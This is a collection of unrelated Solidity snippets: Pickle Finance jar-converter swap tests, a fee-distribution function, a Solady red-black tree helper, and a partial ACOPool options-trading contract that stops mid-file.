"add_liquidity(uint256[3],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_0_1() public { uint256 fromIndex = 0; uint256 toIndex = 1; uint256 amount = 400e18; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 4; address curveUnderlying = usdt; uint256 curveUnderlyingIndex = 2; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[4],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_1_1() public { uint256 fromIndex = 1; uint256 toIndex = 1; uint256 amount = 400e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 4; address curveUnderlying = usdt; uint256 curveUnderlyingIndex = 2; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[4],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_2_1() public { uint256 fromIndex = 2; uint256 toIndex = 1; uint256 amount = 400e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 4; address curveUnderlying = usdt; uint256 curveUnderlyingIndex = 2; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[4],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_3_1() public { uint256 fromIndex = 3; uint256 toIndex = 1; uint256 amount = 4e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 4; address curveUnderlying = usdt; uint256 curveUnderlyingIndex = 2; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[4],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_4_1() public { uint256 fromIndex = 3; uint256 toIndex = 1; uint256 amount = 4e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 4; address curveUnderlying = usdt; uint256 curveUnderlyingIndex = 2; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[4],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_0_2() public { uint256 fromIndex = 0; uint256 toIndex = 2; uint256 amount = 400e18; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 2; address curveUnderlying = wbtc; uint256 curveUnderlyingIndex = 1; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[2],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_1_2() public { uint256 fromIndex = 1; uint256 toIndex = 2; uint256 amount = 400e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 2; address curveUnderlying = wbtc; uint256 curveUnderlyingIndex = 1; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[2],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_2_2() public { uint256 fromIndex = 2; uint256 toIndex = 2; uint256 amount = 400e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 2; address curveUnderlying = wbtc; uint256 curveUnderlyingIndex = 1; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[2],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_3_2() public { uint256 fromIndex = 3; uint256 toIndex = 2; uint256 amount = 4e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 2; address curveUnderlying = wbtc; uint256 curveUnderlyingIndex = 1; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[2],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } } contract StrategyUniUniJarSwapTest is DSTestDefiBase { address governance; address strategist; address devfund; address treasury; address timelock; IStrategy[] uniStrategies; PickleJar[] uniPickleJars; ControllerV4 controller; CurveProxyLogic curveProxyLogic; UniswapV2ProxyLogic uniswapV2ProxyLogic; address[] uniUnderlying; function setUp() public { governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); // Uni strategies uniStrategies = new IStrategy[](4); uniUnderlying = new address[](uniStrategies.length); uniPickleJars = new PickleJar[](uniStrategies.length); uniUnderlying[0] = dai; uniStrategies[0] = IStrategy( address( new StrategyUniEthDaiLpV4( governance, strategist, address(controller), timelock ) ) ); uniUnderlying[1] = usdc; uniStrategies[1] = IStrategy( address( new StrategyUniEthUsdcLpV4( governance, strategist, address(controller), timelock ) ) ); uniUnderlying[2] = usdt; uniStrategies[2] = IStrategy( address( new StrategyUniEthUsdtLpV4( governance, strategist, address(controller), timelock ) ) ); uniUnderlying[3] = wbtc; uniStrategies[3] = IStrategy( address( new StrategyUniEthWBtcLpV2( governance, strategist, address(controller), timelock ) ) ); for (uint256 i = 0; i < uniStrategies.length; i++) { uniPickleJars[i] = new PickleJar( uniStrategies[i].want(), governance, timelock, address(controller) ); controller.setJar( uniStrategies[i].want(), address(uniPickleJars[i]) ); controller.approveStrategy( uniStrategies[i].want(), address(uniStrategies[i]) ); controller.setStrategy( uniStrategies[i].want(), address(uniStrategies[i]) ); } curveProxyLogic = new CurveProxyLogic(); uniswapV2ProxyLogic = new UniswapV2ProxyLogic(); controller.approveJarConverter(address(curveProxyLogic)); controller.approveJarConverter(address(uniswapV2ProxyLogic)); hevm.warp(startTime); } function _getUniLP( address lp, uint256 ethAmount, uint256 otherAmount ) internal { IUniswapV2Pair fromPair = IUniswapV2Pair(lp); address other = fromPair.token0() != weth ? fromPair.token0() : fromPair.token1(); _getERC20(other, otherAmount); uint256 _other = IERC20(other).balanceOf(address(this)); IERC20(other).safeApprove(address(univ2), 0); IERC20(other).safeApprove(address(univ2), _other); univ2.addLiquidityETH{value: ethAmount}( other, _other, 0, 0, address(this), now + 60 ); } function _get_swap_lp_data( address from, address to, address dustRecipient ) internal pure returns (bytes memory) { return abi.encodeWithSignature( "swapUniLPTokens(address,address,address)", from, to, dustRecipient ); } function _post_swap_check(uint256 fromIndex, uint256 toIndex) internal { IERC20 token0 = uniPickleJars[fromIndex].token(); IERC20 token1 = uniPickleJars[toIndex].token(); uint256 MAX_DUST = 10; // No funds left behind assertEq(uniPickleJars[fromIndex].balanceOf(address(controller)), 0); assertEq(uniPickleJars[toIndex].balanceOf(address(controller)), 0); assertTrue(token0.balanceOf(address(controller)) < MAX_DUST); assertTrue(token1.balanceOf(address(controller)) < MAX_DUST); // Make sure only controller can call 'withdrawForSwap' try uniStrategies[fromIndex].withdrawForSwap(0) { revert("!withdraw-for-swap-only-controller"); } catch {} } function _test_check_treasury_fee(uint256 _amount, uint256 earned) internal { assertEqApprox( _amount.mul(controller.convenienceFee()).div( controller.convenienceFeeMax() ), earned.mul(2) ); } function _test_swap_and_check_balances( address fromPickleJar, address toPickleJar, address fromPickleJarUnderlying, uint256 fromPickleJarUnderlyingAmount, address payable[] memory targets, bytes[] memory data ) internal { uint256 _beforeTo = IERC20(toPickleJar).balanceOf(address(this)); uint256 _beforeFrom = IERC20(fromPickleJar).balanceOf(address(this)); uint256 _beforeDev = IERC20(fromPickleJarUnderlying).balanceOf(devfund); uint256 _beforeTreasury = IERC20(fromPickleJarUnderlying).balanceOf( treasury ); uint256 _ret = controller.swapExactJarForJar( fromPickleJar, toPickleJar, fromPickleJarUnderlyingAmount, 0, // Min receive amount targets, data ); uint256 _afterTo = IERC20(toPickleJar).balanceOf(address(this)); uint256 _afterFrom = IERC20(fromPickleJar).balanceOf(address(this)); uint256 _afterDev = IERC20(fromPickleJarUnderlying).balanceOf(devfund); uint256 _afterTreasury = IERC20(fromPickleJarUnderlying).balanceOf( treasury ); uint256 treasuryEarned = _afterTreasury.sub(_beforeTreasury); assertEq(treasuryEarned, _afterDev.sub(_beforeDev)); assertTrue(treasuryEarned > 0); _test_check_treasury_fee(fromPickleJarUnderlyingAmount, treasuryEarned); assertTrue(_afterFrom < _beforeFrom); assertTrue(_afterTo > _beforeTo); assertTrue(_afterTo.sub(_beforeTo) > 0); assertEq(_afterTo.sub(_beforeTo), _ret); assertEq(_afterFrom, 0); } function _test_uni_uni( uint256 fromIndex, uint256 toIndex, uint256 amount, address payable[] memory targets, bytes[] memory data ) internal { address from = address(uniPickleJars[fromIndex].token()); _getUniLP(from, 1e18, amount); uint256 _from = IERC20(from).balanceOf(address(this)); IERC20(from).approve(address(uniPickleJars[fromIndex]), _from); uniPickleJars[fromIndex].deposit(_from); uniPickleJars[fromIndex].earn(); // Swap! uint256 _fromPickleJar = IERC20(address(uniPickleJars[fromIndex])) .balanceOf(address(this)); IERC20(address(uniPickleJars[fromIndex])).approve( address(controller), _fromPickleJar ); // Check minimum amount try controller.swapExactJarForJar( address(uniPickleJars[fromIndex]), address(uniPickleJars[toIndex]), _fromPickleJar, uint256(-1), // Min receive amount targets, data ) { revert("min-amount-should-fail"); } catch {} _test_swap_and_check_balances( address(uniPickleJars[fromIndex]), address(uniPickleJars[toIndex]), from, _fromPickleJar, targets, data ); _post_swap_check(fromIndex, toIndex); } // **** Tests **** function test_jar_converter_uni_uni_0() public { uint256 fromIndex = 0; uint256 toIndex = 1; uint256 amount = 400e18; address fromUnderlying = uniUnderlying[fromIndex]; address from = univ2Factory.getPair(weth, fromUnderlying); address toUnderlying = uniUnderlying[toIndex]; address to = univ2Factory.getPair(weth, toUnderlying); _test_uni_uni( fromIndex, toIndex, amount, _getDynamicArray(payable(address(uniswapV2ProxyLogic))), _getDynamicArray(_get_swap_lp_data(from, to, treasury)) ); } function test_jar_converter_uni_uni_1() public { uint256 fromIndex = 0; uint256 toIndex = 2; uint256 amount = 400e18; address fromUnderlying = uniUnderlying[fromIndex]; address from = univ2Factory.getPair(weth, fromUnderlying); address toUnderlying = uniUnderlying[toIndex]; address to = univ2Factory.getPair(weth, toUnderlying); _test_uni_uni( fromIndex, toIndex, amount, _getDynamicArray(payable(address(uniswapV2ProxyLogic))), _getDynamicArray(_get_swap_lp_data(from, to, treasury)) ); } function test_jar_converter_uni_uni_2() public { uint256 fromIndex = 2; uint256 toIndex = 3; uint256 amount = 400e6; address fromUnderlying = uniUnderlying[fromIndex]; address from = univ2Factory.getPair(weth, fromUnderlying); address toUnderlying = uniUnderlying[toIndex]; address to = univ2Factory.getPair(weth, toUnderlying); _test_uni_uni( fromIndex, toIndex, amount, _getDynamicArray(payable(address(uniswapV2ProxyLogic))), _getDynamicArray(_get_swap_lp_data(from, to, treasury)) ); } function test_jar_converter_uni_uni_3() public { uint256 fromIndex = 3; uint256 toIndex = 2; uint256 amount = 4e6; address fromUnderlying = uniUnderlying[fromIndex]; address from = univ2Factory.getPair(weth, fromUnderlying); address toUnderlying = uniUnderlying[toIndex]; address to = univ2Factory.getPair(weth, toUnderlying); _test_uni_uni( fromIndex, toIndex, amount, _getDynamicArray(payable(address(uniswapV2ProxyLogic))), _getDynamicArray(_get_swap_lp_data(from, to, treasury)) ); } }
Treasury fees Performance fee
function _distributePerformanceFeesAndDeposit() internal { uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { IERC20(want).safeTransfer( IController(controller).treasury(), _want.mul(performanceTreasuryFee).div(performanceTreasuryMax) ); IERC20(want).safeTransfer( IController(controller).devfund(), _want.mul(performanceDevFee).div(performanceDevMax) ); deposit(); } }
7,450,144
./full_match/1/0x7af62458e41E2F490D2Df54A8FeDc56fFedB8c17/sources/lib/solady/src/utils/RedBlackTreeLib.sol
Returns a pointer to the nearest value to `x`. In a tie-breaker, the returned pointer will point to the smaller value. If the tree is empty, the returned pointer will be empty.
function nearest(Tree storage tree, uint256 x) internal view returns (bytes32 result) { (uint256 nodes, uint256 cursor, uint256 key) = _find(tree, x); unchecked { bytes32 a = _pack(nodes, cursor); uint256 aValue = value(a); bytes32 b = x < aValue ? prev(a) : next(a); uint256 bValue = value(b); uint256 aDist = x < aValue ? aValue - x : x - aValue; uint256 bDist = x < bValue ? bValue - x : x - bValue; return aDist < bDist ? a : b; } }
3,202,717
pragma solidity ^0.6.6; pragma experimental ABIEncoderV2; import './Ownable.sol'; import './SafeMath.sol'; import './Address.sol'; import './ACONameFormatter.sol'; import './ACOAssetHelper.sol'; import './ERC20.sol'; import './IACOPool.sol'; import './IACOFactory.sol'; import './IACOStrategy.sol'; import './IACOToken.sol'; import './IACOFlashExercise.sol'; import './IUniswapV2Router02.sol'; import './IChiToken.sol'; /** * @title ACOPool * @dev A pool contract to trade ACO tokens. */ contract ACOPool is Ownable, ERC20, IACOPool { using Address for address; using SafeMath for uint256; uint256 internal constant POOL_PRECISION = 1000000000000000000; // 18 decimals uint256 internal constant MAX_UINT = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; /** * @dev Struct to store an ACO token trade data. */ struct ACOTokenData { /** * @dev Amount of tokens sold by the pool. */ uint256 amountSold; /** * @dev Amount of tokens purchased by the pool. */ uint256 amountPurchased; /** * @dev Index of the ACO token on the stored array. */ uint256 index; } /** * @dev Emitted when the strategy address has been changed. * @param oldStrategy Address of the previous strategy. * @param newStrategy Address of the new strategy. */ event SetStrategy(address indexed oldStrategy, address indexed newStrategy); /** * @dev Emitted when the base volatility has been changed. * @param oldBaseVolatility Value of the previous base volatility. * @param newBaseVolatility Value of the new base volatility. */ event SetBaseVolatility(uint256 indexed oldBaseVolatility, uint256 indexed newBaseVolatility); /** * @dev Emitted when a collateral has been deposited on the pool. * @param account Address of the account. * @param amount Amount deposited. */ event CollateralDeposited(address indexed account, uint256 amount); /** * @dev Emitted when the collateral and premium have been redeemed on the pool. * @param account Address of the account. * @param underlyingAmount Amount of underlying asset redeemed. * @param strikeAssetAmount Amount of strike asset redeemed. */ event Redeem(address indexed account, uint256 underlyingAmount, uint256 strikeAssetAmount); /** * @dev Emitted when the collateral has been restored on the pool. * @param amountOut Amount of the premium sold. * @param collateralIn Amount of collateral restored. */ event RestoreCollateral(uint256 amountOut, uint256 collateralIn); /** * @dev Emitted when an ACO token has been redeemed. * @param acoToken Address of the ACO token. * @param collateralIn Amount of collateral redeemed. * @param amountSold Total amount of ACO token sold by the pool. * @param amountPurchased Total amount of ACO token purchased by the pool. */ event ACORedeem(address indexed acoToken, uint256 collateralIn, uint256 amountSold, uint256 amountPurchased); /** * @dev Emitted when an ACO token has been exercised. * @param acoToken Address of the ACO token. * @param tokenAmount Amount of ACO tokens exercised. * @param collateralIn Amount of collateral received. */ event ACOExercise(address indexed acoToken, uint256 tokenAmount, uint256 collateralIn); /** * @dev Emitted when an ACO token has been bought or sold by the pool. * @param isPoolSelling True whether the pool is selling an ACO token, otherwise the pool is buying. * @param account Address of the account that is doing the swap. * @param acoToken Address of the ACO token. * @param tokenAmount Amount of ACO tokens swapped. * @param price Value of the premium paid in strike asset. * @param protocolFee Value of the protocol fee paid in strike asset. * @param underlyingPrice The underlying price in strike asset. */ event Swap( bool indexed isPoolSelling, address indexed account, address indexed acoToken, uint256 tokenAmount, uint256 price, uint256 protocolFee, uint256 underlyingPrice ); /** * @dev UNIX timestamp that the pool can start to trade ACO tokens. */ uint256 public poolStart; /** * @dev The protocol fee percentage. (100000 = 100%) */ uint256 public fee; /** * @dev Address of the ACO flash exercise contract. */ IACOFlashExercise public acoFlashExercise; /** * @dev Address of the ACO factory contract. */ IACOFactory public acoFactory; /** * @dev Address of the Uniswap V2 router. */ IUniswapV2Router02 public uniswapRouter; /** * @dev Address of the Chi gas token. */ IChiToken public chiToken; /** * @dev Address of the protocol fee destination. */ address public feeDestination; /** * @dev Address of the underlying asset accepts by the pool. */ address public underlying; /** * @dev Address of the strike asset accepts by the pool. */ address public strikeAsset; /** * @dev Value of the minimum strike price on ACO token that the pool accept to trade. */ uint256 public minStrikePrice; /** * @dev Value of the maximum strike price on ACO token that the pool accept to trade. */ uint256 public maxStrikePrice; /** * @dev Value of the minimum UNIX expiration on ACO token that the pool accept to trade. */ uint256 public minExpiration; /** * @dev Value of the maximum UNIX expiration on ACO token that the pool accept to trade. */ uint256 public maxExpiration; /** * @dev True whether the pool accepts CALL options, otherwise the pool accepts only PUT options. */ bool public isCall; /** * @dev True whether the pool can also buy ACO tokens, otherwise the pool only sells ACO tokens. */ bool public canBuy; /** * @dev Address of the strategy. */ IACOStrategy public strategy; /** * @dev Percentage value for the base volatility. (100000 = 100%) */ uint256 public baseVolatility; /** * @dev Total amount of collateral deposited. */ uint256 public collateralDeposited; /** * @dev Total amount in strike asset spent buying ACO tokens. */ uint256 public strikeAssetSpentBuying; /** * @dev Total amount in strike asset earned selling ACO tokens. */ uint256 public strikeAssetEarnedSelling; /** * @dev Array of ACO tokens currently negotiated. */ address[] public acoTokens; /** * @dev Mapping for ACO tokens data currently negotiated. */ mapping(address => ACOTokenData) public acoTokensData; /** * @dev Underlying asset precision. (18 decimals = 1000000000000000000) */ uint256 internal underlyingPrecision; /** * @dev Strike asset precision. (6 decimals = 1000000) */ uint256 internal strikeAssetPrecision; /** * @dev Modifier to check if the pool is open to trade. */ modifier open() { require(isStarted() && notFinished(), "ACOPool:: Pool is not open"); _; } /** * @dev Modifier to apply the Chi gas token and save gas. */ modifier discountCHI { uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; chiToken.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41947); } /** * @dev Function to initialize the contract. * It should be called by the ACO pool factory when creating the pool. * It must be called only once. The first `require` is to guarantee that behavior. * @param initData The initialize data. */ function init(InitData calldata initData) external override { require(underlying == address(0) && strikeAsset == address(0) && minExpiration == 0, "ACOPool::init: Already initialized"); require(initData.acoFactory.isContract(), "ACOPool:: Invalid ACO Factory"); require(initData.acoFlashExercise.isContract(), "ACOPool:: Invalid ACO flash exercise"); require(initData.chiToken.isContract(), "ACOPool:: Invalid Chi Token"); require(initData.fee <= 12500, "ACOPool:: The maximum fee allowed is 12.5%"); require(initData.poolStart > block.timestamp, "ACOPool:: Invalid pool start"); require(initData.minExpiration > block.timestamp, "ACOPool:: Invalid expiration"); require(initData.minStrikePrice <= initData.maxStrikePrice, "ACOPool:: Invalid strike price range"); require(initData.minStrikePrice > 0, "ACOPool:: Invalid strike price"); require(initData.minExpiration <= initData.maxExpiration, "ACOPool:: Invalid expiration range"); require(initData.underlying != initData.strikeAsset, "ACOPool:: Same assets"); require(ACOAssetHelper._isEther(initData.underlying) || initData.underlying.isContract(), "ACOPool:: Invalid underlying"); require(ACOAssetHelper._isEther(initData.strikeAsset) || initData.strikeAsset.isContract(), "ACOPool:: Invalid strike asset"); super.init(); poolStart = initData.poolStart; acoFlashExercise = IACOFlashExercise(initData.acoFlashExercise); acoFactory = IACOFactory(initData.acoFactory); chiToken = IChiToken(initData.chiToken); fee = initData.fee; feeDestination = initData.feeDestination; underlying = initData.underlying; strikeAsset = initData.strikeAsset; minStrikePrice = initData.minStrikePrice; maxStrikePrice = initData.maxStrikePrice; minExpiration = initData.minExpiration; maxExpiration = initData.maxExpiration; isCall = initData.isCall; canBuy = initData.canBuy; address _uniswapRouter = IACOFlashExercise(initData.acoFlashExercise).uniswapRouter(); uniswapRouter = IUniswapV2Router02(_uniswapRouter); _setStrategy(initData.strategy); _setBaseVolatility(initData.baseVolatility); _setAssetsPrecision(initData.underlying, initData.strikeAsset); _approveAssetsOnRouter(initData.isCall, initData.canBuy, _uniswapRouter, initData.underlying, initData.strikeAsset); } receive() external payable { } /** * @dev Function to get the token name. */ function name() public view override returns(string memory) { return _name(); } /** * @dev Function to get the token symbol, that it is equal to the name. */ function symbol() public view override returns(string memory) { return _name(); } /** * @dev Function to get the token decimals. */ function decimals() public view override returns(uint8) { return 18; } /** * @dev Function to get whether the pool already started trade ACO tokens. */ function isStarted() public view returns(bool) { return block.timestamp >= poolStart; } /** * @dev Function to get whether the pool is not finished. */ function notFinished() public view returns(bool) { return block.timestamp < maxExpiration; } /** * @dev Function to get the number of ACO tokens currently negotiated. */ function numberOfACOTokensCurrentlyNegotiated() public override view returns(uint256) { return acoTokens.length; } /** * @dev Function to get the pool collateral asset. */ function collateral() public override view returns(address) { if (isCall) { return underlying; } else { return strikeAsset; } } /** * @dev Function to quote an ACO token swap. * @param isBuying True whether it is quoting to buy an ACO token, otherwise it is quoting to sell an ACO token. * @param acoToken Address of the ACO token. * @param tokenAmount Amount of ACO tokens to swap. * @return The swap price, the protocol fee charged on the swap, and the underlying price in strike asset. */ function quote(bool isBuying, address acoToken, uint256 tokenAmount) open public override view returns(uint256, uint256, uint256) { (uint256 swapPrice, uint256 protocolFee, uint256 underlyingPrice,) = _internalQuote(isBuying, acoToken, tokenAmount); return (swapPrice, protocolFee, underlyingPrice); } /** * @dev Function to set the pool strategy address. * Only can be called by the ACO pool factory contract. * @param newStrategy Address of the new strategy. */ function setStrategy(address newStrategy) onlyOwner external override { _setStrategy(newStrategy); } /** * @dev Function to set the pool base volatility percentage. (100000 = 100%) * Only can be called by the ACO pool factory contract. * @param newBaseVolatility Value of the new base volatility. */ function setBaseVolatility(uint256 newBaseVolatility) onlyOwner external override { _setBaseVolatility(newBaseVolatility); } /** * @dev Function to deposit on the pool. * Only can be called when the pool is not started. * @param collateralAmount Amount of collateral to be deposited. * @param to Address of the destination of the pool token. * @return The amount of pool tokens minted. */ function deposit(uint256 collateralAmount, address to) public override payable returns(uint256) { require(!isStarted(), "ACOPool:: Pool already started"); require(collateralAmount > 0, "ACOPool:: Invalid collateral amount"); require(to != address(0) && to != address(this), "ACOPool:: Invalid to"); (uint256 normalizedAmount, uint256 amount) = _getNormalizedDepositAmount(collateralAmount); ACOAssetHelper._receiveAsset(collateral(), amount); collateralDeposited = collateralDeposited.add(amount); _mintAction(to, normalizedAmount); emit CollateralDeposited(msg.sender, amount); return normalizedAmount; } /** * @dev Function to swap an ACO token with the pool. * Only can be called when the pool is opened. * @param isBuying True whether it is quoting to buy an ACO token, otherwise it is quoting to sell an ACO token. * @param acoToken Address of the ACO token. * @param tokenAmount Amount of ACO tokens to swap. * @param restriction Value of the swap restriction. The minimum premium to receive on a selling or the maximum value to pay on a purchase. * @param to Address of the destination. ACO tokens when is buying or strike asset on a selling. * @param deadline UNIX deadline for the swap to be executed. * @return The amount ACO tokens received when is buying or the amount of strike asset received on a selling. */ function swap( bool isBuying, address acoToken, uint256 tokenAmount, uint256 restriction, address to, uint256 deadline ) open public override returns(uint256) { return _swap(isBuying, acoToken, tokenAmount, restriction, to, deadline); } /** * @dev Function to swap an ACO token with the pool and use Chi token to save gas. * Only can be called when the pool is opened. * @param isBuying True whether it is quoting to buy an ACO token, otherwise it is quoting to sell an ACO token. * @param acoToken Address of the ACO token. * @param tokenAmount Amount of ACO tokens to swap. * @param restriction Value of the swap restriction. The minimum premium to receive on a selling or the maximum value to pay on a purchase. * @param to Address of the destination. ACO tokens when is buying or strike asset on a selling. * @param deadline UNIX deadline for the swap to be executed. * @return The amount ACO tokens received when is buying or the amount of strike asset received on a selling. */ function swapWithGasToken( bool isBuying, address acoToken, uint256 tokenAmount, uint256 restriction, address to, uint256 deadline ) open discountCHI public override returns(uint256) { return _swap(isBuying, acoToken, tokenAmount, restriction, to, deadline); } /** * @dev Function to redeem the collateral and the premium from the pool. * Only can be called when the pool is finished. * @return The amount of underlying asset received and the amount of strike asset received. */ function redeem() public override returns(uint256, uint256) { return _redeem(msg.sender); } /** * @dev Function to redeem the collateral and the premium from the pool from an account. * Only can be called when the pool is finished. * The allowance must be respected. * The transaction sender will receive the redeemed assets. * @param account Address of the account. * @return The amount of underlying asset received and the amount of strike asset received. */ function redeemFrom(address account) public override returns(uint256, uint256) { return _redeem(account); } /** * @dev Function to redeem the collateral from the ACO tokens negotiated on the pool. * It redeems the collateral only if the respective ACO token is expired. */ function redeemACOTokens() public override { for (uint256 i = acoTokens.length; i > 0; --i) { address acoToken = acoTokens[i - 1]; uint256 expiryTime = IACOToken(acoToken).expiryTime(); _redeemACOToken(acoToken, expiryTime); } } /** * @dev Function to redeem the collateral from an ACO token. * It redeems the collateral only if the ACO token is expired. * @param acoToken Address of the ACO token. */ function redeemACOToken(address acoToken) public override { (,uint256 expiryTime) = _getValidACOTokenStrikePriceAndExpiration(acoToken); _redeemACOToken(acoToken, expiryTime); } /** * @dev Function to exercise an ACO token negotiated on the pool. * Only ITM ACO tokens are exercisable. * @param acoToken Address of the ACO token. */ function exerciseACOToken(address acoToken) public override { (uint256 strikePrice, uint256 expiryTime) = _getValidACOTokenStrikePriceAndExpiration(acoToken); uint256 exercisableAmount = _getExercisableAmount(acoToken); require(exercisableAmount > 0, "ACOPool:: Exercise is not available"); address _strikeAsset = strikeAsset; address _underlying = underlying; bool _isCall = isCall; uint256 collateralAmount; address _collateral; if (_isCall) { _collateral = _underlying; collateralAmount = exercisableAmount; } else { _collateral = _strikeAsset; collateralAmount = IACOToken(acoToken).getCollateralAmount(exercisableAmount); } uint256 collateralAvailable = _getPoolBalanceOf(_collateral); ACOTokenData storage data = acoTokensData[acoToken]; (bool canExercise, uint256 minIntrinsicValue) = strategy.checkExercise(IACOStrategy.CheckExercise( _underlying, _strikeAsset, _isCall, strikePrice, expiryTime, collateralAmount, collateralAvailable, data.amountPurchased, data.amountSold )); require(canExercise, "ACOPool:: Exercise is not possible"); if (IACOToken(acoToken).allowance(address(this), address(acoFlashExercise)) < exercisableAmount) { _setAuthorizedSpender(acoToken, address(acoFlashExercise)); } acoFlashExercise.flashExercise(acoToken, exercisableAmount, minIntrinsicValue, block.timestamp); uint256 collateralIn = _getPoolBalanceOf(_collateral).sub(collateralAvailable); emit ACOExercise(acoToken, exercisableAmount, collateralIn); } /** * @dev Function to restore the collateral on the pool by selling the other asset balance. */ function 